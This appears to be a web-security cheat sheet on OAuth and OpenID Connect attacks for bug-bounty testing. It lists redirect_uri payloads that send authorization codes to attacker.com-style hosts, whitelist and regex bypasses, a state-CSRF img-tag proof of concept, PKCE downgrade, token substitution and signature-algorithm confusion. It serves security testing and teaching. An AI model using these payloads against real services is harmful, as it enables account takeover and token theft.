Skip to content
Web Security

OAuth / OIDC Attacks

OAuth 2.0 and OpenID Connect exploitation for account takeover

OAuth Flow Understanding

TEXT
Standard Authorization Code Flow:
1. User clicks "Login with X"
2. Redirect to provider: /authorize?client_id=X&redirect_uri=Y&state=Z
3. User authenticates, grants permission
4. Provider redirects: redirect_uri?code=AUTH_CODE&state=Z
5. App exchanges code for token (server-side)
6. Token used to fetch user info

Redirect URI Attacks

Open Redirect via redirect_uri

Direct Manipulation

TEXT
?redirect_uri=https://attacker.com
?redirect_uri=https://attacker.com/callback
?redirect_uri=//attacker.com
?redirect_uri=https://attacker.com%23@legit.com

Bypass Whitelist

TEXT
# Subdomain abuse (if *.target.com allowed)
?redirect_uri=https://evil.target.com
?redirect_uri=https://xss.target.com/callback

# Path traversal
?redirect_uri=https://target.com/callback/../../../attacker.com
?redirect_uri=https://target.com/callback/../../attacker.com

# Parameter injection
?redirect_uri=https://target.com/callback?next=https://attacker.com
?redirect_uri=https://target.com/callback%23attacker.com 

# URL parsing confusion
?redirect_uri=https://target.com\@attacker.com
?redirect_uri=https://attacker.com%40target.com
?redirect_uri=https://target.com%00.attacker.com
?redirect_uri=https://target.com%2f%2fattacker.com

Bypass Regex

TEXT
# If regex: ^https://.*\.target\.com$
?redirect_uri=https://eviltarget.com     # Missing escape on dot
?redirect_uri=https://target.com.evil.com  # Suffix match

# URL-encoded tricks
?redirect_uri=https://target.com%252f%252fattacker.com

Steal Authorization Code

TEXT
1. Find redirect_uri bypass
2. Craft malicious link:
   https://provider.com/authorize?client_id=X&redirect_uri=https://attacker.com&...
3. Victim clicks, authenticates
4. Code sent to attacker.com
5. Attacker uses code to login as victim

State Parameter Attacks

Missing State (CSRF)

TEXT
If state parameter missing or not validated:

1. Attacker gets OAuth link that would link their social account
2. Victim clicks link
3. Victim's account linked to attacker's social
4. Attacker can now login to victim's account

PoC for State CSRF

HTML
<!-- Attacker initiates OAuth flow with their account -->
<!-- Gets callback URL with their code -->
<img src="https://target.com/oauth/callback?code=ATTACKER_CODE">

<!-- Victim loads this, their session now has attacker's social linked -->

State Fixation

TEXT
1. Attacker gets valid state token
2. Attacker tricks victim into using that state
3. Attacker's state now bound to victim's session

Token Attacks

Authorization Code Reuse

TEXT
1. Capture valid authorization code
2. Try using same code twice
3. Some implementations don't invalidate on first use

Authorization Code Injection

TEXT
1. Attacker starts OAuth flow
2. Victim completes OAuth flow
3. Attacker sends their callback URL to victim
4. Victim hits callback with attacker's code
5. Victim's session now logged in as attacker

Token Leakage (Implicit Grant)

TEXT
# Token in URL fragment
https://target.com/callback#access_token=TOKEN

# Leaks via:
- Referrer header (to external resources)
- Browser history
- XSS on callback page
- Open redirect from callback page

# Test: Does callback page have external resources?

Token Substitution

TEXT
# Get token from app1.target.com
# Use it on app2.target.com
# If 'aud' claim not validated → access granted

PKCE Bypass

PKCE Flow

TEXT
1. Client generates code_verifier (random string)
2. Sends code_challenge = SHA256(code_verifier) with auth request
3. Sends code_verifier with token request
4. Server verifies SHA256(code_verifier) == original code_challenge

Bypass Attempts

TEXT
# Try without PKCE parameters
# Remove code_challenge from auth request
# Remove code_verifier from token request
# If server doesn't enforce → vulnerable

# Downgrade to 'plain' method
code_challenge_method=plain  # code_challenge == code_verifier

Account Takeover Patterns

Email Not Verified

TEXT
1. Register on OAuth provider with victim@email.com
2. Don't verify email
3. Link to target application
4. If app trusts unverified email → control victim's account

Pre-Account Takeover

TEXT
1. Register on target with victim@email.com
2. Victim later signs up with OAuth (same email)
3. Accounts may merge, or attacker's session persists
TEXT
1. Login to attacker account on target
2. Start OAuth link flow
3. Send callback URL to victim
4. Victim authenticates with their OAuth
5. Victim's OAuth linked to attacker's account

OpenID Connect Specific

ID Token Claims

JSON
{
  "iss": "https://provider.com",    // Issuer - validate!
  "sub": "user123",                  // Subject
  "aud": "client123",                // Audience - validate!
  "exp": 1699999999,                 // Expiration
  "iat": 1699999000,                 // Issued at
  "nonce": "abc123"                  // Nonce - validate!
}

Nonce Replay

TEXT
# If nonce not validated
# Capture ID token, replay it later
# Works until expiration

Signature Algorithm Confusion

TEXT
# Similar to JWT attacks
# Try alg: none
# Try RS256 → HS256 with public key

Discovery and Configuration

Well-Known Endpoints

TEXT
/.well-known/openid-configuration
/.well-known/oauth-authorization-server
/oauth/.well-known/oauth-authorization-server

Useful Information

JSON
{
  "authorization_endpoint": "...",
  "token_endpoint": "...",
  "jwks_uri": "...",        // Public keys for validation
  "scopes_supported": [...],
  "response_types_supported": [...],
  "grant_types_supported": [...]
}

Testing Methodology

Step 1: Map OAuth Flow

TEXT
1. Intercept full OAuth flow
2. Document all parameters
3. Identify provider (Google, Facebook, etc.)
4. Note redirect_uri, state, nonce usage

Step 2: Test redirect_uri

TEXT
1. Modify to attacker domain
2. Try bypass techniques
3. Check if code/token sent

Step 3: Test State Parameter

TEXT
1. Remove state
2. Reuse state
3. Cross-session state

Step 4: Test Token Handling

TEXT
1. Code reuse
2. Token from different app
3. Expired/invalid tokens

Bug Bounty Tips

High-Impact Findings

TEXT
- Open redirect via redirect_uri → steal code
- Missing state → CSRF account link
- Token leakage → direct account access
- Pre-account takeover → full compromise

Report Demonstration

TEXT
1. Show full attack flow
2. Demonstrate account takeover
3. Show data accessed
4. Provide malicious link used
On this page